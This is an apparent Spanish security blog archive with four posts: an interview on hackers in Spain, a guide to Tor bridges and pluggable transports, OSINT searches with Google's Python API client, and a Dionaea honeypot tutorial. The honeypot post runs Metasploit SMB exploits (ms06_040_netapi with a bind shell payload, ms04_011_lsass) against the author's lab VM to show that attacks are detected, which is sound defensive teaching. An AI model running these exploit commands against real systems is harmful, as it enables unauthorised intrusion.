Categorías
Hacking

Entrevista en ViceSpain sobre hackers en España

Hace algunos días el periodista Gonzalo Toca (https://es.linkedin.com/in/gonzalotoca) se puso en contacto conmigo para redactar un artículo sobre el modo de vida de los hackers en España. Dicho artículo ya se ha publicado y lo podéis ver en el siguiente enlace: http://www.vice.com/es/read/no-tienes-ni-idea-de-lo-duro-que-es-ser-hacker-en-espana-691
Me hizo una entrevista previa que le sirvió para redactar el artículo y dado que en sus preguntas tocaban temas que a mi juicio, representan el estado y la mentalidad generalizada de la gente cuando se habla de hacking, creo que puede resultaros interesante leer sus preguntas y mis respuestas en este post.
Aquí la tienes:

Q- Siempre en general: ¿Tienen los hackers trabajo seguro y acceso a buenos sueldos como dice el mito o han tenido que irse muchos al extranjero como el resto de jóvenes para vivir dignamente?

A- La situación económica y la crisis que afronta España nos afecta a todos, incluyendo a los expertos en seguridad informática. Han sido muchos los jóvenes talentos que han tenido que irse fuera porque no encuentran trabajos en los que les paguen lo que realmente merecen. He vivido de cerca esta situación con un par de amigos que han tenido que irse a trabajar a Reino Unido por falta de oportunidades laborales, muchos se han ido porque la situación les obliga, más no porque hayan querido hacerlo. Personas que profesionalmente tienen un valor increíble y que desafortunadamente las empresas españolas no han sabido valorar. No obstante, aun son muchos los hackers que se quedan en España y que intentan vivir honesta y dignamente, los puedes ver en conferencias de seguridad informática o cuando quedas con ellos en cualquier sitio para tomarte algo.

Q- Siempre en general: ¿Hasta qué punto no hemos confundido a los hackers con nuevos bohemios o con un estilo de vida fabricado por Hollywood marcado por horarios imposibles, dietas imposibles, relaciones interpersonales imposibles y trabajos fabulosamente creativos y emocionantes?

En primer lugar, un «hacker» no es únicamente una persona que tiene conocimientos sobre informática, se refiere a cualquier persona que le apasione su profesión/arte y que además tiene lo que se conoce como «pensamiento lateral». Este termino se refiere a la creatividad, la inventiva, la capacidad de romper paradigmas y hacer que las cosas funcionen de un modo distinto al establecido, a crear cosas nuevas desde cero o partiendo de las existentes. Dicho esto, puedes reconocer auténticos hackers en cualquier rama del conocimiento, en las ciencias humanas, el arte, la literatura, la ingeniería, etc. Han existido grandes hackers incluso antes del desarrollo del primer ordenador.
Los hackers se caracterizan por ser personas curiosas, investigadores innatos que disfrutan aprendiendo y desarrollando sus habilidades. Esto necesariamente implica mucho tiempo, esfuerzo, sacrificio y dedicación constante y curiosamente, es algo que «olvidan» mencionar algunos medios de comunicación/entretenimiento cuando se refieren  a ellos de forma irresponsable y atrevida dando la imagen de que es lo que «está de moda» y que cualquiera puede conseguir fácilmente sin mayor esfuerzo, que basta con parecerlo o auto-proclamarse uno. No se refiere a lo que lleves puesto, a la imagen que das al mundo, no es cómo te ves por fuera, sino lo que llevas dentro, lo que oportas a la comunidad con tu trabajo y dedicación.

Q- En el momento en el que lo vuestro se ha convertido en un estilo de vida con glamour imagino que habréis atraído a mucha gente que se autodenomina hacker y no pasa de hábil con los ordenadores. ¿Es así?

El glamour en el estilo de vida de un hacker es algo que se queda únicamente en la «pantalla grande», en donde los «hackers» tienen veinte ferraris y treinta lamborghinis, veintemil tías detras de ellos, esquiban balas, saltan desde coches en marcha sin despeinarse y hacen proezas imposibles para el resto de mortales. Las mentes menos obtusas y aquellas personas que tienen criterio saben perfectamente que todo aquello es ficción, simplemente entretenimiento. No obstante, otras personas carentes de sentido común creen que ser hacker «es lo que se lleva», algo que te hace ver «guay», que les proporciona un subidón de autoestima y a lo que puede aspirar cualquiera con un par de días lanzando herramientas automátizadas. Y efectivamente, son personas que tardan dos días en ser completamente ignoradas por la comunidad. El termino «meritocracia» es algo que entendemos todos los que nos dedicamos a esto.

Q- En mi sector, hay más periodistas profesionales trabajando en comunicación para las empresas que en los medios: ¿Dirías que hay más hackers profesionales currando para empresas que hackers que vivan de acciones ilegales?

Como comentaba anteriormente, muchos buscamos vivir tranquila y dignamente y para ello lo más común es, o bien trabajar por cuenta ajena para alguna empresa o trabajar por cuenta propia como profesional freelance o creando tu propia empresa. En general, la mayoría de hackers que conozco optan por la primera opción principalmente por comodidad y seguridad, aunque los hay también que optan por la segunda aun con los riesgos que implica. Muchos de los hackers que he tenido el placer de conocer personalmente, tienen hijos, familia y lo único que buscan es poder vivir sin el temor de que vayan a por ellos. Personalmente creo que el principal objetivo de cualquier persona es vivir en paz y a mi juicio, es algo que resulta incompatible con cualquier actividad ilegal, por eso me atrevería a afirmar que la gran mayoría tienen su trabajo en alguna empresa, cumplen con su horario y en su tiempo libre se dedican a explorar y estudiar. Al menos en mi caso, es así.

Q- ¿Cuáles crees que son las cosas más exageradas que os han atribuido a los hackers en España? Echo un vistazo a la cobertura de Navaja Negra y me encuentro con que el Estado necesita pediros ayuda, con que todos sois autodidactas (y muchos sabíais programar a los diez años), con que no necesitáis ir a clase porque os basta con estudiar apuntes fusilados y cartearos con expertos mundiales (hay que asumir que esos expertos están deseando responder todas las dudas de estudiantes que ni son ni serán probablemente sus alumnos).

Desde mi punto de vista, otra de las ideas más curiosas que se han instaurado últimamente es que los hackers son genios con síndrome de asperger, sin vida social, sin emociones, máquinas que viven única y exclusivamente para machacar teclas todo el día. Creo que así es como nos comienzan a ver las empresas privadas y organismos públicos, pero no están dispuestos a pagar a los profesionales lo que realmente valen. ¿Requieren ayuda? claro que sí, pero la quieren a un coste muy bajo o en el peor de los casos gratis, y las cosas no son así. Del mismo modo que cualquier profesional especializado de cualquier sector, valoramos nuestro tiempo.

Q- ¿A qué crees que se debe esta especie de leyenda? ¿A Hollywood? ¿A la necesidad de creer en gurús, en conspiraciones mundiales por parte de la gente? ¿A la necesidad de sentirse importantes por parte de los propios hackers y de los que se autodenominan así sin serlo?

Los temas relacionados con el hacking aun son bastante novedosos y existe mucha confusión al respecto debido a que los medios de comunicación tradicionales no han sabido transmitir adecuadamente la diferencia entre un hacker y ciberdelincuente. Dicha confusión genera dos grupos de personas: Aquellos que quieren sentirse seguros cuando acceden a cualquier servicio de banca online o simplemente, cuando visitan su muro de facebook. Son personas que quieren saber cuáles son las mejores practicas a la hora de proteger su información, incluso en ocasiones, les «contagiamos» esa curiosidad y ganas por aprender como funcionan las cosas, es algo que nos favorece a todos. Pero por otro lado, tenemos a personas que quieren ser «hackers» y robar cuentas de correo electrónico, facebook, conversaciones de whatsapp, etc. Evidentemente el primer grupo son mucho más cautos y el segundo, bueno… suelen ser personas que nos ven como mercenarios a sueldo.
Suelo recibir correos de personas de ambos grupos y en el primero de los casos siempre respondo de forma amable y si conozco la respuesta a la duda que se me plantea trato de explicarlo de la forma más clara que puedo y si no lo se, intento sacar tiempo e investigo. Sobre el segundo grupo, simplemente los ignoro, creo que está de más explicarle a alguien que robar o cometer cualquier tipo de delito es algo que no deberías pedir tan alegremente a una persona en Internet que ni siquiera conoces. Es algo bastante obvio, ¿no?. En esos casos prefiero no perder el tiempo y paso de contestar, guardo todos esos mensajes en una carpeta separada de mi bandeja principal y simplemente me limito a ver como el número de mensajes crece diariamente. No me molesta que me escriban con solicitudes para «hackear algo», incluso me resulta divertido ver lo que la gente pide y como están ciertas cabezas. Sin duda, algunas de las más divertidas, tienen que ver con temas relacionados con la deep web y actividades ilegales. La gente cree que redes como TOR son «el santo grial» de cualquier delincuente, pero lo ven como algo muy complicado y necesitan a un «guru» que los lleve de la mano y si hace falta, que asuman las consecuencias de sus actos por ellos.

 

Saludos y Happy Hack!
Adastra.

Categorías
Hacking Networking Services - Software

Bridges en TOR y una introducción a los «Pluggable transports»

TOR se caracteriza por ser una red centralizada, en la que cada hora, una serie de servidores de confianza llamados “autoridades de directorio” se encargan de generar información sobre los repetidores que conforman la red y algunos datos adicionales sobre el estado general de la misma. Dicha información es pública y se puede consultar fácilmente ejecutando peticiones HTTP contra cualquiera de las autoridades de directorio o sus espejos. Dado que la información sobre los repetidores la puede consultar cualquiera, una de las principales medidas que toman las entidades represoras a la hora instaurar controles y censurar contenidos, consiste simplemente en incluir dichas direcciones IP en una lista negra para impedir que se puedan realizar conexiones contra cualquier repetidor de TOR. Es una medida que se utiliza muchísimo y que según algunos artículos publicados en el blog de TOR (https://blog.torproject.org/) es una de las medidas más utilizadas en países como Cuba, China, Etiopía, Corea del Norte, etc. Con el fin de hacer que la red sea resistente a este tipo de censura, el equipo de TOR ha desarrollado un sistema para que los ciudadanos de países como los anteriores puedan seguir utilizando TOR sin problemas, aunque las direcciones IP de los repetidores incluidos en los consensos o incluso las direcciones IP de las autoridades de directorio se encuentren bloqueadas. Dicho sistema es conocido como “Automatic Bridging” y es un mecanismo en el que se busca eludir la censura por parte de adversarios fuertes, como es el caso del gobierno de un país. Para conseguir esto, las autoridades de directorio utilizan unos repetidores especiales llamados “Bridges” o puentes, los cuales funcionan exactamente igual que cualquier repetidor que hace parte de un circuito en TOR, pero con la diferencia de que no se exponen públicamente en los descriptores emitidos cada hora por las autoridades de TOR. Los bridges pueden ser creados por cualquier usuario de TOR y si estás a favor de la libertad de expresión y te asquea ver como en ciertos países la gente no puede expresar libremente sus ideas sin temor a que sus vidas o las de sus familiares corran peligro, te recomiendo que configures tus instancias de TOR para que también funcionen como puentes y sean utilizadas por aquellas personas que desean reportar los abusos que se comenten en ciertos lugares del mundo.
Para aquellos que desean obtener un listado de bridges de TOR, dado que no se pueden conectar directamente con las autoridades de directorio o con los repetidores que conforman la red, existen dos formas:

1. Consultar los puentes en “BridgeDB”, el proyecto oficial de TOR para acceder a un conjunto reducido de puentes que servirán para eludir la censura. Dicho proyecto se encuentra ubicado en el siguiente enlace: https://bridges.torproject.org. Para obtener los bridges basta con pinchar sobre el botón en el que pone “Get Bridges” u “Obtener puentes” y después de ingresar un captcha, se enseñarán dos puentes que deben ser configurados en la instancia de TOR que no consigue llegar a las autoridades de directorio o a los repetidores de la red.

2. En el caso (bastante frecuente) de que el proyecto “BridgeDB” también se encuentre censurado, la otra alternativa para recibir un par de puentes validos es escribir un correo a la dirección “bridges@torproject.org”. El mensaje no tiene que tener un contenido, es simplemente una dirección de correo que responde de forma automática al remitente con lo que ha solicitado. En el asunto del mensaje se debe especificar un “comando” para obtener información sobre BridgeDB. Si se envía un mensaje a dicha dirección, sin asunto, la respuesta automática contendrá los posibles comandos que puede enviar el comando a la plataforma de BridgeDB.
El contenido del mensaje devuelto, en el caso de no incluir un asunto es el siguiente:

»
Hey, debiadastra! Welcome to BridgeDB!

COMMANDs: (combine COMMANDs to specify multiple options simultaneously)
get bridges Request vanilla bridges.
get transport [TYPE] Request a Pluggable Transport by TYPE.
get help Displays this message.
get key Get a copy of BridgeDB’s public GnuPG key.
get ipv6 Request IPv6 bridges.

Currently supported transport TYPEs:
obfs2
obfs3
obfs4
scramblesuit
fte

BridgeDB can provide bridges with several types of Pluggable Transports[0],
which can help obfuscate your connections to the Tor Network, making it more
difficult for anyone watching your internet traffic to determine that you are
using Tor.

Some bridges with IPv6 addresses are also available, though some Pluggable
Transports aren’t IPv6 compatible.

Additionally, BridgeDB has plenty of plain-ol’-vanilla bridges – without any
Pluggable Transports – which maybe doesn’t sound as cool, but they can still
help to circumvent internet censorship in many cases.

[0]: https://www.torproject.org/

<3 BridgeDB
»

En el caso de indicar el asunto “get bridges”, lo que se puede ver es lo siguiente:

«Hey, debiadastra!
[This is an automated message; please do not reply.]
Here are your bridges:

83.212.111.114:443 0A6EF34EDF047BFD51319268CD423E
194.132.208.140:1418 E6F48300BB17180451522069F16BD5
192.36.31.74:22656 FEB63CA5EBD805C42DC0E5FBDDE82F

To enter bridges into Tor Browser, first go to the  Tor Browser download
page [0] and then follow the instructions there for downloading and starting
Tor Browser.

When the ‘Tor Network Settings’ dialogue pops up, click ‘Configure’ and follow
the wizard until it asks:

> Does your Internet Service Provider (ISP) block or otherwise censor connections
> to the Tor network?

Select ‘Yes’ and then click ‘Next’. To configure your new bridges, copy and
paste the bridge lines into the text input box. Finally, click ‘Connect’, and
you should be good to go! If you experience trouble, try clicking the ‘Help’
button in the ‘Tor Network Settings’ wizard for further assistance.

[0]: https://www.torproject.org/
»

Como se puede ver, ha devuelto tres repetidores con la dirección IP, puerto y fingerprint del puente. Ahora, para que una instancia de TOR pueda utilizar dichos puentes, basta con especificar las siguientes líneas de configuración en el fichero “torrc”.

Bridge 83.212.111.114:443
Bridge 194.132.208.140:1418
Bridge 192.36.31.74:22656
UseBridges 1

Si estas interesado en crear tu instancia de TOR para que funcione como puente, el procedimiento es bastante sencillo, sin embargo, no se puede configurar una instancia de TOR que funcione como repetidor y puente al mismo tiempo, lo cual es lógico, ya que los repetidores son públicos y los puentes privados y establecer una instancia que actúe como repetidor y puente es equivalente a crear un puente de acceso público y fácil de censurar, lo cual evidentemente no tiene ningún sentido.

Es necesario incluir las siguientes líneas de configuración en el fichero “torrc”:

SocksPort 0

ORPort 8080

Exitpolicy reject *:*

DataDirectory /home/adastra/workspace/bridge/

BridgeRelay 1

Como se puede ver, tanto configurar como utilizar un puente es una tarea bastante simple y es una solución que se ajusta bastante bien al problema de la censura. Sin embargo, algunos “rivales fuertes”, tales como los gobiernos de China o Corea del Norte, ahora ya no solamente bloquean las direcciones IP que se encuentren relacionadas con la red de TOR, ahora aplican técnicas de análisis de paquetes que detectan si los paquetes intercambiados utilizan el protocolo de TOR. Ante una medida así, los puentes por si solos pierden efectividad y se hace muy difícil ocultar el trafico. Aquí entra en juego lo que se conoce como “Pluggable Transports”.

Introducción a los Pluggable Transports

Las técnicas DIP (Deep Packet Inspection) se han vuelto cada vez más comunes en aquellos países en los que el nivel de censura es alto. Las rutinas DIP se encargan de analizar un conjunto de paquetes y reensamblarlos para clasificarlos partiendo de patrones conocidos. De esta forma, con DIP es posible determinar que un conjunto de paquetes se encuentran transmitiendo datos en la red de TOR aunque la dirección IP no se encuentre bloqueada.

Ahora bien, la especificación de “Pluggable Transports” define a esta tecnología como la capacidad de convertir flujos de trafico de TOR entre el cliente y un puente, en flujos admitidos y no reconocidos por técnicas de DIP, como por ejemplo, una conversación inocente con cualquier servidor web en Internet. Notar que aunque el rival (censor), pueda monitorizar el trafico y analizar los paquetes en profundidad, no verá ningún patrón conocido que le permita determinar con exactitud que se trata de un paquete que viaja por TOR.

El objetivo de los PT (Pluggable Transports) consiste básicamente en ofuscar el trafico entre el cliente y sus puentes. Para ello, se utiliza un componente de software adicional tanto en el cliente como en la instancia de TOR que funciona como puente. Dichos componentes deben conocer una serie de reglas para poder ofuscar el trafico (cliente) y posteriormente, poder desofuscarlo (servidor). Actualmente existen varias herramientas y frameworks desarrollados siguiendo la especificación de PT ubicada en el siguiente enlace https://gitweb.torproject.org/torspec.git/tree/pt-spec.txt y seguramente la más conocida y popular es OBFSPROXY, un framework implementado en Python del que os hablaré en un próximo articulo.

Un saludo y Happy Hack!
Adastra.

Categorías
Hacking Hacking Python Programacion Services - Software

Recolección de información con OSINT Parte 2 – Usando Google Hacking Python Client

En el post anterior se ha visto la forma en la que se puede utilizar la librería python-twitter para acceder al inmenso volumen de información almacenada en Twitter. Dicha librería es capaz de utilizar los servicios REST que dispone Twitter para que los desarrolladores puedan acceder a su plataforma de forma programática. Así es posible extraer información sobre cuentas públicas en Twitter y realizar búsquedas aplicando varios criterios. En este artículo mencionaré otra librería frecuentemente utilizada en procesos relacionados con OSINT, dicha librería es “google-api-python-client”. Se trata de una librería que cuenta con clases y utilidades para extraer información pública contenida en varios de los servicios de Google.
El proceso de instalación de esta librería es bastante trivial y se puede llevar a cabo utilizando “pip”, “easy_install” o tirando directamente del código fuente que se encuentra alojado en la siguiente ruta: https://github.com/google/google-api-python-client. No obstante, además de instalar la librería también es necesario crear una aplicación de consola de Google, para lo cual es necesario tener una cuenta valida. Para aquellos que nunca han creado una aplicación desde el gestor de de aplicaciones de Google, a continuación se explica el procedimiento a seguir.

Creando una aplicación con Google Developers Console.

Con una cuenta de Google valida y estando autenticado en cualquiera de sus servicios (como por ejemplo Gmail), es posible utilizar la consola de administración de aplicaciones que Google dispone para los desarrolladores. Dicha consola se encuentra disponible en el siguiente enlace: https://console.developers.google.com y como se puede apreciar en la siguiente imagen, después de pinchar sobre el botón “Create Project” se debe poner un nombre al proyecto y un identificador único. El identificador lo puede generar Google por ti o puedes ingresar uno propio.

osint2-1

Una vez creada la aplicación, el siguiente paso consiste en activar los servicios que se desea utilizar. La lista es bastante larga y cada servicio corresponde a una temática muy concreta, por ejemplo, es posible activar Calendar API, Books API, Drive API, BigQuery API, Custom Search API, etc. Si el lector está interesando en ver todas las aplicaciones a las que se puede acceder de forma programática utilizando la librería, puede ver el listado del siguiente enlace: https://developers.google.com/api-client-library/python/apis/.

El proceso de activación de cualquiera de las APIs disponibles es bastante simple y con una cuenta gratuita se incluyen varias características que en la mayoría de los casos son más que suficientes. Por ejemplo, el servicio de búsquedas de Google es “Custom Search API” y tiene una limitación de 1000 búsquedas al día, algo que para fines no comerciales, resulta muy aceptable. Otro servicio interesante es el BigQuery API, en el que se puede utilizar la infraestructura de Google para realizar procesos de minería de datos y Big Data, algo de lo que os hablaré en un próximo artículo.
Para realizar las pruebas, se habilitará el servicio “Custom Search API” y posteriormente, se debe crear el conjunto de claves para poder consumir el servicio con las credenciales y la autorización necesaria. Para ello existe la opción “Credentials” bajo el menú “APIs & auth”.

 

osint2-2

Tal como se puede apreciar en la imagen anterior, es posible utilizar dos mecanismos de autenticación, por un lado podemos generar los tokens de OAuth2 o crear un identificador único para el acceso. La diferencia entre ambos mecanismos es que utilizando los tokens de OAuth se gestionan detalles de acceso y autorización, algo que resulta vital para ciertos servicios que requieren consentimiento por parte del creador de la aplicación para que otros usuarios puedan utilizarla, mientras que en el caso del identificador único de acceso, se hace una validación simple y en cualquier caso, a servicios que no requieran autorización previa, como es el caso de la ejecución de búsquedas simples utilizando el buscador de Google. El servicio de Custom Search API no necesariamente requiere autenticación Oauth, con lo cual se puede crear una nueva API Key. A la fecha de redactar este artículo la creación de una API solicita un tipo concreto de clave, entre los posibles valores a seleccionar se encuentran: “Server”, “Browser”, “Android”, “iOS”. Se debe seleccionar el tipo de clave dependiendo de la forma en la que la aplicación (que evidentemente actuará como cliente) se conectará al servicio de Google en cuestión. En este caso concreto se puede seleccionar “Server” y en tal caso, se solicitará restringir el acceso por dirección o segmento de direcciones IP, en el caso de no ingresar ningún valor, la API admitirá cualquier cliente sin importar su dirección IP.

Llegados a este punto, ya es posible comenzar a utilizar la librería y para ello, es necesario crear una instancia de la API de google por medio de la función “build” contenida en el módulo “apiclient.discovery”.

La función “build” recibe como argumentos el nombre del servicio que se desea utilizar, la versión y las credenciales de acceso al servicio. Por ejemplo, para acceder al servicio de Books API y Custom Search API, se utiliza la función de la siguiente forma:

[sourcecode language=»python»]

serviceBooks = build(‘books’, ‘v1’, developerKey=”<api_key>”)

serviceCustomSearch = build("customsearch","v1",developerKey="<api_key>")

[/sourcecode]

Como se puede apreciar, crear una instancia de cualquier servicio es una tarea bastante simple, no obstante, no todos los servicios de Google se gestionan de igual manera y algunos de ellos, como es el caso de Custom Search API, es necesario crear un nuevo motor de búsqueda personalizado contra un sitio web en Internet y posteriormente, recuperar el identificador del motor creado o su URL pública para que puedan ejecutarse las peticiones correctamente contra el servicio. Para crear un motor de búsqueda personalizado de Google se debe ingresar al sitio de administración de motores ubicado en la siguiente ruta: https://www.google.com/cse/all

Desde allí se puede crear un motor y tal como se enseña en las siguientes imágenes, es necesario definir sobre cuáles sitios se deben realizar las búsquedas.

 osint2-3Creación de un motor de búsqueda personalizado.

 osint2-4Motor de búsqueda creado.

El siguiente paso para poder utilizar la API desde cualquier script en Python es el de obtener el identificador del motor de búsqueda, que tal como se enseña en la siguiente imagen, se encuentra disponible tras pinchar sobre el botón “ID de motor de búsqueda”.

osint2-5

Una vez obtenido el identificador del motor de búsqueda, se puede utilizar la única función definida en el servicio correspondiente a Custom Search API, la cual permitirá utilizar el motor para realizar búsquedas sobre los dominios previamente definidos.

[sourcecode language=»python»]
from apiclient.discovery import build
service = build("customsearch","v1",developerKey="<api_key>")

results= service.cse().list(q="python",
cx="<id_engine>" ,num=10).execute()

[/sourcecode]

Como se puede apreciar, utilizar Python para realizar una búsqueda sobre el servicio Custom Search API es bastante simple, solamente es necesario especificar el criterio de búsqueda, el identificador del motor y el número de resultados que se obtendrán de la consulta. Estas búsquedas son dirigidas contra uno o varios sitios concretos, lo que supone una ventaja a la hora de recolectar información concreta sobre, por ejemplo, los usuarios de redes sociales como Twitter o Facebook.

Los resultados devueltos se encuentran en formato JSON, pero la API hace la labor de convertir la cadena devuelta por el servicio en un diccionario que pueda ser tratado directamente desde Python.

[sourcecode language=»python»]

from apiclient.discovery import build

service = build("customsearch","v1",developerKey="<api_key>")
res = service.cse().list(q="python", cx="<id_engine>" ,num=10).execute()
print res.keys()
print res[‘url’]
print res[‘queries’]
print res[‘searchInformation’]
[/sourcecode]

Hasta este punto, solamente se han realizado búsquedas, sin embargo esto solamente es la punta del iceberg, ya que faltan labores mucho más complejas para analizar y relacionar la información obtenida. En próximas entradas se hablará un poco más sobre esto.

Saludos y Happy Hack!
Adastra.

Categorías
Hacking MetaSploit Networking Services - Software

HoneyPots Parte 3 – Configuración y análisis de malware con Dionaea

En el articulo anterior he hablado sobre el funcionamiento e instalación de Dionaea, un honeypot que es capaz de detectar payloads maliciosos y recolectar muestras de malware para su posterior análisis. Para la detección de shellcodes utiliza otra librería de la que ya se ha hablado anteriormente llamada LibEmu, la cual utiliza varias técnicas avanzadas para encontrar patrones maliciosos basadas en heurísticas del tipo GetPC. En este articulo, se continuará con la exploración de las funcionalidades incluidas en Dionaea y las opciones de configuración que se pueden utilizar para modificar el comportamiento del programa según las necesidades particulares del “blue team” o equipo defensor.

En primer lugar, el fichero de configuración del programa se encuentra ubicado en la siguiente ruta (suponiendo que el software se ha instalado en el directorio /opt/dionaea): “/opt/etc/dionaea/dionaea.conf”.

Cuando se trabaja con ficheros de configuración, algo que es de agradecer es que sean fáciles de entender y se encuentren debidamente separados por secciones. Esto es algo que tiene Dionaea y cuando se abre el fichero de configuración por defecto, rápidamente se pueden apreciar las siguientes secciones de configuración: “logging”, “processors”, “downloads”, “submit”, “bistreams”, “listen” y “modules”. A continuación, se explica brevemente para que sirve cada uno de estos bloques de configuración.

“logging”: Es una sección que puede ayudar a ver las trazas que realmente son importantes y que ayudan a detectar un ataque en curso. Configurar adecuadamente esta sección puede ser bastante conveniente, ya que Dionaea es un programa que genera muchísimas trazas de log que en la mayoría de los casos resultan abrumadoras y poco informativas. En esta sección es posible establecer diferentes niveles de trazas, tales como info, debug, warning, error y all. Por defecto, las trazas generadas por Dionaea se almacenan en el directorio “/opt/dionaea/var/log”.

“processors”: Permite definir los servicios que debe arrancar el programa, tales como SSH, MSSqld, FTP, etc. Además, permite definir una serie de detalles de configuración sobre el proceso de emulación de cada uno de dichos servicios, pudiendo establecer detalles como el número de sockets, número máximo de conexiones abiertas y otros detalles que permiten controlar el funcionamiento de LibEmu.

“downloads”: En esta sección se define el directorio en donde se deben guardar las muestras de malware recolectadas por el honeypot.

“bistreams”: En esta sección se define el directorio en donde se guardarán los registros de la interacción entre el atacante y el honeypot, lo que permitirá posteriormente replicar los ataques y depurar.

“submit”: Además guardar las muestras de malware recolectadas por el honeypot en la máquina local, también es posible transferir dichas muestras por http o ftp a un servidor externo. En esta sección se pueden definir los detalles de conexión a dichos servidores externos en el caso de que se quiera enviar el malware a un motor de análisis ubicado en una máquina remota, como por ejemplo, una que tenga Cuckoo en ejecución.

“listen”: Permite definir las interfaces de red que serán utilizadas por el honeypot para arrancar cada uno de los servicios definidos en la sección de “processors”. Existen 3 modos, el automático vincula todas las interfaces de red encontradas en el sistema, el manual permite definir cuales serán las interfaces de red utilizadas y finalmente, el tercer mecanismo permite definir una expresión regular para recuperar todas las interfaces de red que cumplan con el patrón definido.

“modules”: Finalmente, en esta sección se pueden definir detalles de configuración de los módulos que utiliza Dionaea. Algunos de los módulos más interesantes que soporta este honeypot son LibEmu, p0f, curl, nfq, python, fail2ban, entre otros.

Después de explicar las principales secciones de configuración del programa, ahora se procede a utilizar Dionaea y ver cómo funciona cuando un atacante intenta hacerse con el control de un servicio ejecutado en el honeypot.

Arrancando Dionaea y detectando posibles ataques

Una buena practica a la hora de arrancar Dionaea es utilizar un usuario del sistema con privilegios limitados, para ello se utilizan los interruptores “-u” y “-g”.

>./dionaea -L ‘*’ -u adastra -g users

 

Después de levantar Dionaea (en una máquina virtual preferiblemente), lo primero que se puede hacer es ejecutar un escaneo contra dicha máquina para ver qué puertos se encuentran abiertos.

>nmap -sT -n 192.168.1.98

Starting Nmap 6.40 ( http://nmap.org ) at 2015-03-15 23:46 CETNmap scan report for 192.168.1.98
Host is up (0.00012s latency).Not shown: 989 closed ports
PORT STATE SERVICE
21/tcp open ftp

22/tcp open ssh

42/tcp open nameserver

80/tcp open http

135/tcp open msrpc

443/tcp open https

445/tcp open microsoft-ds

1433/tcp open ms-sql-s

3306/tcp open mysql

5060/tcp open sip

5061/tcp open sip-tls

 

Como se puede apreciar, aparecen servicios como MSSql, SIP, MySQL y SMB, todos ellos servicios que ha levantado automáticamente Dionaea.

Ahora bien, se puede utilizar metasploit framework para probar el comportamiento de Dionaea cuando un atacante intenta enviar peticiones maliciosas contra alguno de los servicios que se encuentran activos.

SMB es un buen protocolo para probar, ya que existen varios exploits disponibles para atacar este tipo de servicios.

>msfconsolemsf>use exploit/windows/smb/ms06_040_netapi
msf exploit(ms06_040_netapi) >set PAYLOAD windows/shell/bind_tcp
PAYLOAD => windows/shell/bind_tcp
msf exploit(ms06_040_netapi) > set RHOST 192.168.1.98

RHOST => 192.168.1.98

msf exploit(ms06_040_netapi) > exploit

[*] Started bind handler

[*] Detected a Windows XP SP0/SP1 target

 

Posteriormente, en el fichero de logs de Dionaea se podrán ver varios registros que indican el intento de ataque. Dicho fichero por defecto se encuentra ubicado en “/opt/dionaea/var/log/dionaea.log”.

[15032015 23:52:00] connection connection.c:1745-debug: connection_stats_accounting_limit_exceeded stats 0x2b8d720[15032015 23:52:01] pcap pcap.c:180-debug: 192.168.1.98:4444 -> 192.168.1.98:55386[15032015 23:52:01] pcap pcap.c:190-debug: reject local:’192.168.1.98:4444′ remote:’192.168.1.98:55386′[15032015 23:52:01] incident incident.c:365-debug: reporting 0x2c66a20[15032015 23:52:01] incident incident.c:354-debug: incident 0x2c66a20 dionaea.connection.tcp.reject[15032015 23:52:01] incident incident.c:167-debug: con: (ptr) 0x2c67c20[15032015 23:52:01] python module.c:778-debug: traceable_ihandler_cb incident 0x2c66a20 ctx 0x2a134d0[15032015 23:52:01] logsql dionaea/logsql.py:637-info: reject connection from 192.168.1.98:55386 to 192.168.1.98:4444 (id=1005)

[15032015 23:52:01] connection connection.c:667-debug: connection_free_cb con 0x2c67c20

[15032015 23:52:01] connection connection.c:676-debug: AF 0 0 con->local.domain

 

Además de los logs, también se almacenan los flujos de entrada y salida en el directorio “/opt/dionaea/var/dionaea/bistreams”. Se puede también probar otros exploits que intenten comprometer el servicio SMB como es el caso del conocidio exploit “LSASS”.

msf exploit(ms06_040_netapi) > use exploit/windows/smb/ms04_011_lsass
msf exploit(ms04_011_lsass) > set RHOST 192.168.1.98
RHOST => 192.168.1.98
msf exploit(ms04_011_lsass) > exploit

[*] Started reverse handler on 192.168.1.98:4444

[*] Binding to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.1.98[\lsarpc]…

[*] Bound to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.1.98[\lsarpc]…

[*] Getting OS information…

[*] Trying to exploit Windows 5.1

 

Dionaea es capaz de detectar el ataque y registrarlo en el fichero de logs.

[16032015 00:16:41] connection connection.c:4349-debug: connection_unref con 0x2b8d320[16032015 00:16:41] incident incident.c:354-debug: incident 0x7fd24c001530 dionaea.shellcode.detected[16032015 00:16:41] python module.c:778-debug: traceable_ihandler_cb incident 0x7fd24c001530 ctx 0x2a134d0[16032015 00:16:41] thread threads.c:52-debug: Thread fn 0x41d38d con 0x2b8d320 data 0x2c5a760 took 0.000018 ms[16032015 00:16:41] incident incident.c:212-debug: could not find key ‘con'[16032015 00:16:41] incident incident.c:365-debug: reporting 0x7fd24c0711d0[16032015 00:16:41] incident incident.c:354-debug: incident 0x7fd24c0711d0 dionaea.module.emu.profile[16032015 00:16:41] incident incident.c:167-debug: profile: (string) [

{

«call»: «LoadLibraryA»,

«args» : [

«ws2_32»

],

«return» : «0x71a10000»

}

]

[16032015 00:16:41] incident incident.c:167-debug: con: (ptr) 0x2b8d320

[16032015 00:16:41] python module.c:778-debug: traceable_ihandler_cb incident 0x7fd24c0711d0 ctx 0x2a0cfc8

[16032015 00:16:41] emu dionaea/emu.py:45-debug: profiling

[16032015 00:16:41] emu dionaea/emu.py:53-info: profiledump [{‘return’: ‘0x71a10000’, ‘args’: [‘ws2_32’], ‘call’: ‘LoadLibraryA’}]

[16032015 00:16:41] connection connection.c:1368-debug: connection_sustain_timeout_set 0x2b8d320 3.000000

[16032015 00:16:41] python module.c:778-debug: traceable_ihandler_cb incident 0x7fd24c0711d0 ctx 0x2a134d0

[16032015 00:16:41] logsql dionaea/logsql.py:699-info: emu profile for attackid 1009

 

Puede ser muy complicado buscar y encontrar información útil sobre los incidentes reportados por el honeypot en los logs, por este motivo existe una base de datos SQLite que almacena todos los resultados relevantes. Para consultarla basta con ejecutar la utilidad “readlogsqltree”.

>python /opt/dionaea/bin/readlogsqltree /opt/dionaea/var/dionaea/logsql.sqlite

 

Los resultados que enseña la ejecución anterior son mucho más condensados y fáciles de leer, ya que identifica únicamente aquellos registros que Dionaea ha detectado como incidentes o intentos de ataque.

